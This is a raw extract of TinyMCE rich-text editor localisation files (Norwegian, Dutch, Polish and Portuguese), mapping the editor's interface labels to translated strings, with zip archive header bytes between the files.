"Prev": "Forrige",
"Spellcheck": "Stavekontroll",
"Finish": "Avslutt",
"Ignore all": "Ignorer alle",
"Ignore": "Ignorer",
"Add to Dictionary": "Legg til i ordliste",
"Insert row before": "Sett inn rad f\u00f8r",
"Rows": "Rader",
"Height": "H\u00f8yde",
"Paste row after": "Lim inn rad etter",
"Alignment": "Justering",
"Border color": "Rammefarge",
"Column group": "Kolonnegruppe",
"Row": "Rad",
"Insert column before": "Sett inn kolonne f\u00f8r",
"Split cell": "Splitt celle",
"Cell padding": "Cellemarg",
"Cell spacing": "Celleavstand",
"Row type": "Rad-type",
"Insert table": "Sett inn tabell",
"Body": "Br\u00f8dtekst",
"Caption": "Tittel",
"Footer": "Bunntekst",
"Delete row": "Slett rad",
"Paste row before": "Lim inn rad f\u00f8r",
"Scope": "Omfang",
"Delete table": "Slett tabell",
"H Align": "H Justering",
"Top": "Topp",
"Header cell": "Topptekst-celle",
"Column": "Kolonne",
"Row group": "Radgruppe",
"Cell": "Celle",
"Middle": "Midten",
"Cell type": "Celletype",
"Copy row": "Kopier rad",
"Row properties": "Rad egenskaper",
"Table properties": "Tabell egenskaper",
"Bottom": "Bunn",
"V Align": "V Justering",
"Header": "Topptekst",
"Right": "H\u00f8yre",
"Insert column after": "Sett inn kolonne etter",
"Cols": "Kolonner",
"Insert row after": "Sett in rad etter",
"Width": "Bredde",
"Cell properties": "Celle egenskaper",
"Left": "Venstre",
"Cut row": "Klipp ut rad",
"Delete column": "Slett kolonne",
"Center": "Midtstilt",
"Merge cells": "Sl\u00e5 sammen celler",
"Insert template": "Sett inn mal",
"Templates": "Maler",
"Background color": "Bakgrunnsfarge",
"Custom...": "Tilpass...",
"Custom color": "Tilpasset farge",
"No color": "Ingen farge",
"Text color": "Tekstfarge",
"Table of Contents": "Innholdsfortegnelse",
"Show blocks": "Vis blokker",
"Show invisible characters": "Vis skjulte tegn",
"Words: {0}": "Antall ord: {0}",
"Insert": "Sett inn",
"File": "Arkiv",
"Edit": "Rediger",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Tekstredigering. Tast ALT-F9 for meny.
Tast ALT-F10 for verkt\u00f8ys-rader. Tast ALT-0 for hjelp.",
"Tools": "Verkt\u00f8y",
"View": "Vis",
"Table": "Tabell",
"Format": "Format"
});PKR��[JKn
��tinymce/langs/nl.jsnu�[���tinymce.addI18n('nl',{
"Add to Dictionary": "Toevoegen aan woordenlijst",
"Advanced": "Geavanceerd",
"Align center": "Centreren",
"Align left": "Links uitlijnen",
"Align right": "Rechts uitlijnen",
"Alignment": "Uitlijning",
"Alternative source": "Alternatieve bron",
"Anchor": "Anker",
"Anchors": "Anker",
"Apply": "Toepassen",
"Author": "Auteur",
"B": "Blauw",
"Back": "Terug",
"Background color": "Achtergrondkleur",
"Blockquote": "Citaat",
"Blocks": "Blokken",
"Body": "Inhoud",
"Bold": "Vet",
"Border color": "Randkleur",
"Border": "Rand",
"Bottom": "Onder",
"Brightness": "Helderheid",
"Bullet list": "Opsommingsteken",
"Cancel": "Annuleren",
"Caption": "Onderschrift",
"Cell padding": "Celpadding",
"Cell properties": "Celeigenschappen",
"Cell spacing": "Celruimte",
"Cell type": "Celtype",
"Cell": "Cel",
"Center": "Centreren",
"Circle": "Cirkel",
"Clear formatting": "Opmaak wissen",
"Close": "Sluiten",
"Code": "Codering",
"Color levels": "Kleurniveau's",
"Color": "Kleur",
"Cols": "Kolommen",
"Column group": "Kolomgroep",
"Column": "Kolom",
"Constrain proportions": "Verhoudingen behouden",
"Contrast": "Contrast",
"Copy row": "Kopieer rij",
"Copy": "Kopi\u00ebren",
"Could not find the specified string.": "Geen resultaten
gevonden",
"Crop": "Uitsnijden",
"Custom color": "Aangepaste kleur",
"Custom...": "Aangepaste...",
"Cut row": "Rij knippen",
"Cut": "Knippen",
"Date\/time": "Datum\/tijd",
"Decrease indent": "Inspringen verkleinen",
"Default": "Standaard",
"Delete column": "Verwijder kolom",
"Delete row": "Verwijder rij",
"Delete table": "Verwijder tabel",
"Description": "Omschrijving",
"Dimensions": "Afmetingen",
"Disc": "Bolletje",
"Div": "Div",
"Document properties": "Documenteigenschappen",
"Edit image": "Bewerk afbeelding",
"Edit": "Bewerken",
"Embed": "Insluiten",
"Emoticons": "Emoticons",
"Encoding": "Codering",
"File": "Bestand",
"Find and replace": "Zoek en vervang",
"Find": "Zoeken",
"Finish": "Einde",
"Flip horizontally": "Horizontaal spiegelen",
"Flip vertically": "Verticaal spiegelen",
"Font Family": "Lettertype",
"Font Sizes": "Tekengrootte",
"Footer": "Voettekst",
"Format": "Opmaak",
"Formats": "Opmaak",
"Fullscreen": "Volledig scherm",
"G": "Groen",
"Gamma": "Gamma",
"General": "Algemeen",
"H Align": "Horizontaal uitlijnen",
"Header 1": "Kop 1",
"Header 2": "Kop 2",
"Header 3": "Kop 3",
"Header 4": "Kop 4",
"Header 5": "Kop 5",
"Header 6": "Kop 6",
"Header cell": "Kopcel",
"Header": "Koptekst",
"Headers": "Kopteksten",
"Heading 1": "Kop 1",
"Heading 2": "Kop 2",
"Heading 3": "Kop 3",
"Heading 4": "Kop 4",
"Heading 5": "Kop 5",
"Heading 6": "Kop 6",
"Headings": "Koppen",
"Height": "Hoogte",
"Horizontal line": "Horizontale lijn",
"Horizontal space": "Horizontale ruimte",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "ID moet beginnen met een
letter, alleen gevolgd door letters, nummers, streepjes, punten, dubbele
punten of underscores.",
"Id": "ID",
"Ignore all": "Alles negeren",
"Ignore": "Negeren",
"Image description": "Afbeeldingsomschrijving",
"Image options": "Afbeeldingsopties",
"Image": "Afbeelding",
"Increase indent": "Inspringen vergroten",
"Inline": "Inlijn",
"Insert column after": "Voeg kolom in na",
"Insert column before": "Voeg kolom in voor",
"Insert date\/time": "Voeg datum\/tijd in",
"Insert image": "Afbeelding invoegen",
"Insert link": "Hyperlink invoegen",
"Insert row after": "Voeg rij toe na",
"Insert row before": "Voeg rij toe voor",
"Insert table": "Tabel invoegen",
"Insert template": "Template invoegen",
"Insert video": "Video invoegen",
"Insert": "Invoegen",
"Insert\/Edit code sample": "Codevoorbeeld
invoegen\/bewerken",
"Insert\/edit image": "Afbeelding invoegen\/bewerken",
"Insert\/edit link": "Hyperlink invoegen\/bewerken",
"Insert\/edit media": "Media invoegen\/bewerken",
"Insert\/edit video": "Video invoegen\/bewerken",
"Invert": "Omkeren",
"Italic": "Cursief",
"Justify": "Uitvullen",
"Keywords": "Trefwoorden",
"Language": "Taal",
"Left to right": "Links naar rechts",
"Left": "Links",
"Link": "Link",
"Lower Alpha": "Kleine letters",
"Lower Greek": "Griekse letters (klein)",
"Lower Roman": "Romeinse cijfers (klein)",
"Match case": "Identieke hoofd\/kleine letters",
"Media": "Media",
"Merge cells": "Cellen samenvoegen",
"Middle": "Centreren",
"Name": "Naam",
"New document": "Nieuw document",
"New window": "Nieuw venster",
"Next": "Volgende",
"No color": "Geen kleur",
"Nonbreaking space": "Vaste spatie invoegen",
"None": "Geen",
"Numbered list": "Nummering",
"Ok": "Ok",
"Orientation": "Ori\u00ebntatie",
"Page break": "Nieuwe pagina",
"Paragraph": "Paragraaf",
"Paste as text": "Plakken als tekst",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Plakken gebeurt nu als
platte tekst. Tekst wordt nu ingevoegd zonder opmaak tot deze optie
uitgeschakeld wordt.",
"Paste or type a link": "Plak of typ een link",
"Paste row after": "Plak rij na",
"Paste row before": "Plak rij voor",
"Paste your embed code below:": "Plak uw in te sluiten code
hieronder:",
"Paste": "Plakken",
"Poster": "Poster",
"Pre": "Pre",
"Prev": "Vorige",
"Preview": "Voorbeeld",
"Print": "Afdrukken",
"R": "Rood",
"Redo": "Opnieuw",
"Remove link": "Link verwijderen",
"Replace all": "Alles vervangen",
"Replace with": "Vervangen door",
"Replace": "Vervangen",
"Resize": "Formaat aanpassen",
"Restore last draft": "Herstellen naar vorig concept",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Opgemaakte tekstgebied. Druk op ALT-F9
voor het menu. Druk op ALT-F10 voor de werkbalk. Druk op ALT-0 voor de
help.",
"Right to left": "Rechts naar links",
"Right": "Rechts",
"Robots": "Robots",
"Rotate clockwise": "Rechtsom draaien",
"Rotate counterclockwise": "Linksom draaien",
"Row group": "Rijgroep",
"Row properties": "Rij-eigenschappen",
"Row type": "Rijtype",
"Row": "Rij",
"Rows": "Rijen",
"Save": "Opslaan",
"Scope": "Bereik",
"Select all": "Alles selecteren",
"Sharpen": "Scherper",
"Show blocks": "Blokken tonen",
"Show invisible characters": "Verborgen tekens tonen",
"Source code": "Broncode",
"Source": "Bron",
"Special character": "Speciale tekens",
"Spellcheck": "Spellingscontrole",
"Split cell": "Cel splitsen",
"Square": "Vierkant",
"Strikethrough": "Doorhalen",
"Style": "Stijl",
"Subscript": "Subscript",
"Superscript": "Superscript",
"Table of Contents": "Inhoudsopgave",
"Table properties": "Tabeleigenschappen",
"Table": "Tabel",
"Target": "Doel",
"Templates": "Templates",
"Text color": "Tekstkleur",
"Text to display": "Tekst om weer te geven",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "De ingegeven URL lijkt op een
e-mailadres. Wilt u er \"mailto:\" aan toevoegen?",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "De ingegeven URL lijkt op een
externe link. Wilt u er \"http:\/\/\" aan toevoegen?",
"Title": "Titel",
"Tools": "Gereedschap",
"Top": "Bovenaan",
"Underline": "Onderstreept",
"Undo": "Ongedaan maken",
"Upper Alpha": "Hoofdletters alfabetisch",
"Upper Roman": "Hoofdletters Romeinse cijfers",
"Url": "URL",
"V Align": "Verticaal uitlijnen",
"Vertical space": "Verticale ruimte",
"View": "Weergave",
"Visual aids": "Hulpmiddelen",
"Whole words": "Hele woorden",
"Width": "Breedte",
"Words: {0}": "Woorden: {0}",
"You have unsaved changes are you sure you want to navigate
away?": "U heeft niet alles opgeslagen weet u zeker dat u de
pagina wil verlaten?",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Uw
browser ondersteunt geen toegang tot het klemboord. Gelieve de ctrl+X\/C\/V
sneltoetsen gebruiken.",
"Zoom in": "Inzoomen",
"Zoom out": "Uitzoomen"
});PKR��[I�oN��tinymce/langs/pl.jsnu�[���tinymce.addI18n('pl',{
"Cut": "Wytnij",
"Heading 5": "Nag\u0142\u00f3wek 5",
"Header 2": "Nag\u0142\u00f3wek 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Twoja
przegl\u0105darka nie obs\u0142uguje bezpo\u015bredniego dost\u0119pu do
schowka. U\u017cyj zamiast tego kombinacji klawiszy Ctrl+X\/C\/V.",
"Heading 4": "Nag\u0142\u00f3wek 4",
"Div": "Div",
"Heading 2": "Nag\u0142\u00f3wek 2",
"Paste": "Wklej",
"Close": "Zamknij",
"Font Family": "Kr\u00f3j czcionki",
"Pre": "Sformatowany tekst",
"Align right": "Wyr\u00f3wnaj do prawej",
"New document": "Nowy dokument",
"Blockquote": "Blok cytatu",
"Numbered list": "Lista numerowana",
"Heading 1": "Nag\u0142\u00f3wek 1",
"Headings": "Nag\u0142\u00f3wki",
"Increase indent": "Zwi\u0119ksz wci\u0119cie",
"Formats": "Formaty",
"Headers": "Nag\u0142\u00f3wki",
"Select all": "Zaznacz wszystko",
"Header 3": "Nag\u0142\u00f3wek 3",
"Blocks": "Bloki",
"Undo": "Cofnij",
"Strikethrough": "Przekre\u015blenie",
"Bullet list": "Lista wypunktowana",
"Header 1": "Nag\u0142\u00f3wek 1",
"Superscript": "Indeks g\u00f3rny",
"Clear formatting": "Wyczy\u015b\u0107 formatowanie",
"Font Sizes": "Rozmiar czcionki",
"Subscript": "Indeks dolny",
"Header 6": "Nag\u0142\u00f3wek 6",
"Redo": "Pon\u00f3w",
"Paragraph": "Akapit",
"Ok": "Ok",
"Bold": "Pogrubienie",
"Code": "Kod \u017ar\u00f3d\u0142owy",
"Italic": "Kursywa",
"Align center": "Wyr\u00f3wnaj do \u015brodka",
"Header 5": "Nag\u0142\u00f3wek 5",
"Heading 6": "Nag\u0142\u00f3wek 6",
"Heading 3": "Nag\u0142\u00f3wek 3",
"Decrease indent": "Zmniejsz wci\u0119cie",
"Header 4": "Nag\u0142\u00f3wek 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "Wklejanie jest w trybie
tekstowym. Zawarto\u015b\u0107 zostanie wklejona jako zwyk\u0142y tekst
dop\u00f3ki nie wy\u0142\u0105czysz tej opcji.",
"Underline": "Podkre\u015blenie",
"Cancel": "Anuluj",
"Justify": "Do lewej i prawej",
"Inline": "W tek\u015bcie",
"Copy": "Kopiuj",
"Align left": "Wyr\u00f3wnaj do lewej",
"Visual aids": "Pomoce wizualne",
"Lower Greek": "Ma\u0142e greckie",
"Square": "Kwadrat",
"Default": "Domy\u015blne",
"Lower Alpha": "Ma\u0142e litery",
"Circle": "K\u00f3\u0142ko",
"Disc": "Dysk",
"Upper Alpha": "Wielkie litery",
"Upper Roman": "Wielkie rzymskie",
"Lower Roman": "Ma\u0142e rzymskie",
"Name": "Nazwa",
"Anchor": "Kotwica",
"You have unsaved changes are you sure you want to navigate
away?": "Masz niezapisane zmiany. Czy na pewno chcesz
opu\u015bci\u0107 stron\u0119?",
"Restore last draft": "Przywr\u00f3\u0107 ostatni
szkic",
"Special character": "Znak specjalny",
"Source code": "Kod \u017ar\u00f3d\u0142owy",
"B": "B",
"R": "R",
"G": "G",
"Color": "Kolor",
"Right to left": "Od prawej do lewej",
"Left to right": "Od lewej do prawej",
"Emoticons": "Emotikony",
"Robots": "Roboty",
"Document properties": "W\u0142a\u015bciwo\u015bci
dokumentu",
"Title": "Tytu\u0142",
"Keywords": "S\u0142owa kluczowe",
"Encoding": "Kodowanie",
"Description": "Opis",
"Author": "Autor",
"Fullscreen": "Pe\u0142ny ekran",
"Horizontal line": "Pozioma linia",
"Horizontal space": "Odst\u0119p poziomy",
"Insert\/edit image": "Wstaw\/edytuj obrazek",
"General": "Og\u00f3lne",
"Advanced": "Zaawansowane",
"Source": "\u0179r\u00f3d\u0142o",
"Border": "Ramka",
"Constrain proportions": "Zachowaj proporcje",
"Vertical space": "Odst\u0119p pionowy",
"Image description": "Opis obrazka",
"Style": "Styl",
"Dimensions": "Wymiary",
"Insert image": "Wstaw obrazek",
"Zoom in": "Powi\u0119ksz",
"Contrast": "Kontrast",
"Back": "Cofnij",
"Gamma": "Gamma",
"Flip horizontally": "Przerzu\u0107 w poziomie",
"Resize": "Zmiana rozmiaru",
"Sharpen": "Wyostrz",
"Zoom out": "Pomniejsz",
"Image options": "Opcje obrazu",
"Apply": "Zaakceptuj",
"Brightness": "Jasno\u015b\u0107",
"Rotate clockwise": "Obr\u00f3\u0107 w prawo",
"Rotate counterclockwise": "Obr\u00f3\u0107 w lewo",
"Edit image": "Edytuj obrazek",
"Color levels": "Poziom koloru",
"Crop": "Przytnij",
"Orientation": "Orientacja",
"Flip vertically": "Przerzu\u0107 w pionie",
"Invert": "Odwr\u00f3\u0107",
"Insert date\/time": "Wstaw dat\u0119\/czas",
"Remove link": "Usu\u0144 link",
"Url": "Url",
"Text to display": "Tekst do wy\u015bwietlenia",
"Anchors": "Kotwice",
"Insert link": "Wstaw link",
"New window": "Nowe okno",
"None": "\u017baden",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "URL, kt\u00f3ry
wprowadzi\u0142e\u015b wygl\u0105da na link zewn\u0119trzny. Czy chcesz
doda\u0107 http:\/\/ jako prefiks?",
"Target": "Cel",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "URL, kt\u00f3ry
wprowadzi\u0142e\u015b wygl\u0105da na adres e-mail. Czy chcesz doda\u0107
mailto: jako prefiks?",
"Insert\/edit link": "Wstaw\/edytuj link",
"Insert\/edit video": "Wstaw\/edytuj wideo",
"Poster": "Plakat",
"Alternative source": "Alternatywne
\u017ar\u00f3d\u0142o",
"Paste your embed code below:": "Wklej tutaj kod do
osadzenia:",
"Insert video": "Wstaw wideo",
"Embed": "Osad\u017a",
"Nonbreaking space": "Nie\u0142amliwa spacja",
"Page break": "Podzia\u0142 strony",
"Paste as text": "Wklej jako zwyk\u0142y tekst",
"Preview": "Podgl\u0105d",
"Print": "Drukuj",
"Save": "Zapisz",
"Could not find the specified string.": "Nie znaleziono
szukanego tekstu.",
"Replace": "Zamie\u0144",
"Next": "Nast.",
"Whole words": "Ca\u0142e s\u0142owa",
"Find and replace": "Znajd\u017a i zamie\u0144",
"Replace with": "Zamie\u0144 na",
"Find": "Znajd\u017a",
"Replace all": "Zamie\u0144 wszystko",
"Match case": "Dopasuj wielko\u015b\u0107 liter",
"Prev": "Poprz.",
"Spellcheck": "Sprawdzanie pisowni",
"Finish": "Zako\u0144cz",
"Ignore all": "Ignoruj wszystko",
"Ignore": "Ignoruj",
"Add to Dictionary": "Dodaj do s\u0142ownika",
"Insert row before": "Wstaw wiersz przed",
"Rows": "Wiersz.",
"Height": "Wysoko\u015b\u0107",
"Paste row after": "Wklej wiersz po",
"Alignment": "Wyr\u00f3wnanie",
"Border color": "Kolor ramki",
"Column group": "Grupa kolumn",
"Row": "Wiersz",
"Insert column before": "Wstaw kolumn\u0119 przed",
"Split cell": "Podziel kom\u00f3rk\u0119",
"Cell padding": "Dope\u0142nienie kom\u00f3rki",
"Cell spacing": "Odst\u0119py kom\u00f3rek",
"Row type": "Typ wiersza",
"Insert table": "Wstaw tabel\u0119",
"Body": "Tre\u015b\u0107",
"Caption": "Tytu\u0142",
"Footer": "Stopka",
"Delete row": "Usu\u0144 wiersz",
"Paste row before": "Wklej wiersz przed",
"Scope": "Kontekst",
"Delete table": "Usu\u0144 tabel\u0119",
"H Align": "Wyr\u00f3wnanie w pionie",
"Top": "G\u00f3ra",
"Header cell": "Kom\u00f3rka nag\u0142\u00f3wka",
"Column": "Kolumna",
"Row group": "Grupa wierszy",
"Cell": "Kom\u00f3rka",
"Middle": "\u015arodek",
"Cell type": "Typ kom\u00f3rki",
"Copy row": "Kopiuj wiersz",
"Row properties": "W\u0142a\u015bciwo\u015bci wiersza",
"Table properties": "W\u0142a\u015bciwo\u015bci
tabeli",
"Bottom": "D\u00f3\u0142",
"V Align": "Wyr\u00f3wnanie w poziomie",
"Header": "Nag\u0142\u00f3wek",
"Right": "Prawo",
"Insert column after": "Wstaw kolumn\u0119 po",
"Cols": "Kol.",
"Insert row after": "Wstaw wiersz po",
"Width": "Szeroko\u015b\u0107",
"Cell properties": "W\u0142a\u015bciwo\u015bci
kom\u00f3rki",
"Left": "Lewo",
"Cut row": "Wytnij wiersz",
"Delete column": "Usu\u0144 kolumn\u0119",
"Center": "\u015arodek",
"Merge cells": "\u0141\u0105cz kom\u00f3rki",
"Insert template": "Wstaw szablon",
"Templates": "Szablony",
"Background color": "Kolor t\u0142a",
"Custom...": "Niestandardowy...",
"Custom color": "Kolor niestandardowy",
"No color": "Bez koloru",
"Text color": "Kolor tekstu",
"Show blocks": "Poka\u017c bloki",
"Show invisible characters": "Poka\u017c niewidoczne
znaki",
"Words: {0}": "S\u0142\u00f3w: {0}",
"Insert": "Wstaw",
"File": "Plik",
"Edit": "Edycja",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "Obszar Edycji. ALT-F9 - menu. ALT-F10 -
pasek narz\u0119dzi. ALT-0 - pomoc",
"Tools": "Narz\u0119dzia",
"View": "Widok",
"Table": "Tabela",
"Format": "Format"
});PKR��[ԋ,}!}!tinymce/langs/pt-BR.jsnu�[���tinymce.addI18n('pt-BR',{
"Cut": "Recortar",
"Heading 5": "Cabe\u00e7alho 5",
"Header 2": "Cabe\u00e7alho 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Seu
navegador n\u00e3o suporta acesso direto \u00e0 \u00e1rea de
transfer\u00eancia. Por favor use os atalhos Ctrl+X - C - V do
teclado",
"Heading 4": "Cabe\u00e7alho 4",
"Div": "Div",
"Heading 2": "Cabe\u00e7alho 2",
"Paste": "Colar",
"Close": "Fechar",
"Font Family": "Fonte",
"Pre": "Pre",
"Align right": "Alinhar \u00e0 direita",
"New document": "Novo documento",
"Blockquote": "Aspas",
"Numbered list": "Lista ordenada",
"Heading 1": "Cabe\u00e7alho 1",
"Headings": "Cabe\u00e7alhos",
"Increase indent": "Aumentar recuo",
"Formats": "Formatos",
"Headers": "Cabe\u00e7alhos",
"Select all": "Selecionar tudo",
"Header 3": "Cabe\u00e7alho 3",
"Blocks": "Blocos",
"Undo": "Desfazer",
"Strikethrough": "Riscar",
"Bullet list": "Lista n\u00e3o ordenada",
"Header 1": "Cabe\u00e7alho 1",
"Superscript": "Sobrescrito",
"Clear formatting": "Limpar formata\u00e7\u00e3o",
"Font Sizes": "Tamanho",
"Subscript": "Subscrever",
"Header 6": "Cabe\u00e7alho 6",
"Redo": "Refazer",
"Paragraph": "Par\u00e1grafo",
"Ok": "Ok",
"Bold": "Negrito",
"Code": "C\u00f3digo",
"Italic": "It\u00e1lico",
"Align center": "Centralizar",
"Header 5": "Cabe\u00e7alho 5",
"Heading 6": "Cabe\u00e7alho 6",
"Heading 3": "Cabe\u00e7alho 3",
"Decrease indent": "Diminuir recuo",
"Header 4": "Cabe\u00e7alho 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "O comando colar
est\u00e1 agora em modo texto plano. O conte\u00fado ser\u00e1 colado como
texto plano at\u00e9 voc\u00ea desligar esta op\u00e7\u00e3o.",
"Underline": "Sublinhar",
"Cancel": "Cancelar",
"Justify": "Justificar",
"Inline": "Em linha",
"Copy": "Copiar",
"Align left": "Alinhar \u00e0 esquerda",
"Visual aids": "Ajuda visual",
"Lower Greek": "\u03b1. \u03b2. \u03b3. ...",
"Square": "Quadrado",
"Default": "Padr\u00e3o",
"Lower Alpha": "a. b. c. ...",
"Circle": "C\u00edrculo",
"Disc": "Disco",
"Upper Alpha": "A. B. C. ...",
"Upper Roman": "I. II. III. ...",
"Lower Roman": "i. ii. iii. ...",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Id deve come\u00e7ar com
uma letra, seguido apenas por letras, n\u00fameros, tra\u00e7os, pontos,
dois pontos ou sublinhados.",
"Name": "Nome",
"Anchor": "\u00c2ncora",
"Id": "Id",
"You have unsaved changes are you sure you want to navigate
away?": "Voc\u00ea tem mudan\u00e7as n\u00e3o salvas. Voc\u00ea
tem certeza que deseja sair?",
"Restore last draft": "Restaurar \u00faltimo rascunho",
"Special character": "Caracteres especiais",
"Source code": "C\u00f3digo fonte",
"Language": "Idioma",
"Insert\/Edit code sample": "Inserir\/Editar c\u00f3digo de
exemplo",
"B": "B",
"R": "R",
"G": "G",
"Color": "Cor",
"Right to left": "Da direita para a esquerda",
"Left to right": "Da esquerda para a direita",
"Emoticons": "Emoticons",
"Robots": "Rob\u00f4s",
"Document properties": "Propriedades do documento",
"Title": "T\u00edtulo",
"Keywords": "Palavras-chave",
"Encoding": "Codifica\u00e7\u00e3o",
"Description": "Descri\u00e7\u00e3o",
"Author": "Autor",
"Fullscreen": "Tela cheia",
"Horizontal line": "Linha horizontal",
"Horizontal space": "Espa\u00e7amento horizontal",
"Insert\/edit image": "Inserir\/editar imagem",
"General": "Geral",
"Advanced": "Avan\u00e7ado",
"Source": "Endere\u00e7o da imagem",
"Border": "Borda",
"Constrain proportions": "Manter propor\u00e7\u00f5es",
"Vertical space": "Espa\u00e7amento vertical",
"Image description": "Inserir descri\u00e7\u00e3o",
"Style": "Estilo",
"Dimensions": "Dimens\u00f5es",
"Insert image": "Inserir imagem",
"Image": "Imagem",
"Zoom in": "Aumentar zoom",
"Contrast": "Contraste",
"Back": "Voltar",
"Gamma": "Gama",
"Flip horizontally": "Virar horizontalmente",
"Resize": "Redimensionar",
"Sharpen": "Aumentar nitidez",
"Zoom out": "Diminuir zoom",
"Image options": "Op\u00e7\u00f5es de Imagem",
"Apply": "Aplicar",
"Brightness": "Brilho",
"Rotate clockwise": "Girar em sentido
anti-hor\u00e1rio",
"Rotate counterclockwise": "Girar em sentido
hor\u00e1rio",
"Edit image": "Editar imagem",
"Color levels": "N\u00edveis de cor",
"Crop": "Cortar",
"Orientation": "Orienta\u00e7\u00e3o",
"Flip vertically": "Virar verticalmente",
"Invert": "Inverter",
"Date\/time": "data\/hora",
"Insert date\/time": "Inserir data\/hora",
"Remove link": "Remover link",
"Url": "Url",
"Text to display": "Texto para mostrar",
"Anchors": "\u00c2ncoras",
"Insert link": "Inserir link",
"Link": "Link",
"New window": "Nova janela",
"None": "Nenhum",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "A URL que voc\u00ea informou
parece ser um link externo. Deseja incluir o prefixo http:\/\/?",
"Paste or type a link": "Cole ou digite um Link",
"Target": "Alvo",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link": "Inserir\/editar link",
"Insert\/edit video": "Inserir\/editar v\u00eddeo",
"Media": "imagem",
"Alternative source": "Fonte alternativa",
"Paste your embed code below:": "Insira o c\u00f3digo de
incorpora\u00e7\u00e3o abaixo:",
"Insert video": "Inserir v\u00eddeo",
"Poster": "Autor",
"Insert\/edit media": "Inserir\/editar imagem",
"Embed": "Incorporar",
"Nonbreaking space": "Espa\u00e7o n\u00e3o
separ\u00e1vel",
"Page break": "Quebra de p\u00e1gina",
"Paste as text": "Colar como texto",
"Preview": "Pr\u00e9-visualizar",
"Print": "Imprimir",
"Save": "Salvar",
"Could not find the specified string.": "N\u00e3o foi
poss\u00edvel encontrar o termo especificado",
"Replace": "Substituir",
"Next": "Pr\u00f3ximo",
"Whole words": "Palavras inteiras",
"Find and replace": "Localizar e substituir",
"Replace with": "Substituir por",
"Find": "Localizar",
"Replace all": "Substituir tudo",
"Match case": "Diferenciar mai\u00fasculas e
min\u00fasculas",
"Prev": "Anterior",
"Spellcheck": "Corretor ortogr\u00e1fico",
"Finish": "Finalizar",
"Ignore all": "Ignorar tudo",
"Ignore": "Ignorar",
"Add to Dictionary": "Adicionar ao Dicion\u00e1rio",
"Insert row before": "Inserir linha antes",
"Rows": "Linhas",
"Height": "Altura",
"Paste row after": "Colar linha depois",
"Alignment": "Alinhamento",
"Border color": "Cor da borda",
"Column group": "Agrupar coluna",
"Row": "Linha",
"Insert column before": "Inserir coluna antes",
"Split cell": "Dividir c\u00e9lula",
"Cell padding": "Espa\u00e7amento interno da
c\u00e9lula",
"Cell spacing": "Espa\u00e7amento da c\u00e9lula",
"Row type": "Tipo de linha",
"Insert table": "Inserir tabela",
"Body": "Corpo",
"Caption": "Legenda",
"Footer": "Rodap\u00e9",
"Delete row": "Excluir linha",
"Paste row before": "Colar linha antes",
"Scope": "Escopo",
"Delete table": "Excluir tabela",
"H Align": "Alinhamento H",
"Top": "Superior",
"Header cell": "C\u00e9lula cabe\u00e7alho",
"Column": "Coluna",
"Row group": "Agrupar linha",
"Cell": "C\u00e9lula",
"Middle": "Meio",
"Cell type": "Tipo de c\u00e9lula",
"Copy row": "Copiar linha",
"Row properties": "Propriedades da linha",
"Table properties": "Propriedades da tabela",
"Bottom": "Inferior",
"V Align": "Alinhamento V",
"Header": "Cabe\u00e7alho",
"Right": "Direita",
"Insert column after": "Inserir coluna depois",
"Cols": "Colunas",
"Insert row after": "Inserir linha depois",
"Width": "Largura",
"Cell properties": "Propriedades da c\u00e9lula",
"Left": "Esquerdo",
"Cut row": "Recortar linha",
"Delete column": "Excluir coluna",
"Center": "Centro",
"Merge cells": "Agrupar c\u00e9lulas",
"Insert template": "Inserir modelo",
"Templates": "Modelos",
"Background color": "Cor do fundo",
"Custom...": "Personalizado...",
"Custom color": "Cor personalizada",
"No color": "Nenhuma cor",
"Text color": "Cor do texto",
"Table of Contents": "\u00edndice de Conte\u00fado",
"Show blocks": "Mostrar blocos",
"Show invisible characters": "Exibir caracteres
invis\u00edveis",
"Words: {0}": "Palavras: {0}",
"Insert": "Inserir",
"File": "Arquivo",
"Edit": "Editar",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "\u00c1rea de texto formatado. Pressione
ALT-F9 para exibir o menu, ALT-F10 para exibir a barra de ferramentas ou
ALT-0 para exibir a ajuda",
"Tools": "Ferramentas",
"View": "Visualizar",
"Table": "Tabela",
"Format": "Formatar"
});PKR��[Bb�""""tinymce/langs/pt-PT.jsnu�[���tinymce.addI18n('pt-PT',{
"Cut": "Cortar",
"Heading 5": "T\u00edtulo 5",
"Header 2": "Cabe\u00e7alho 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "O seu
navegador n\u00e3o suporta acesso direto \u00e0 \u00e1rea de
transfer\u00eancia. Por favor use os atalhos Ctrl+X\/C\/V do seu
teclado.",
"Heading 4": "T\u00edtulo 4",
"Div": "Div",
"Heading 2": "T\u00edtulo 2",
"Paste": "Colar",
"Close": "Fechar",
"Font Family": "Fonte",
"Pre": "Pre",
"Align right": "Alinhar \u00e0 direita",
"New document": "Novo documento",
"Blockquote": "Cita\u00e7\u00e3o em bloco",
"Numbered list": "Lista numerada",
"Heading 1": "T\u00edtulo 1",
"Headings": "T\u00edtulos",
"Increase indent": "Aumentar avan\u00e7o",
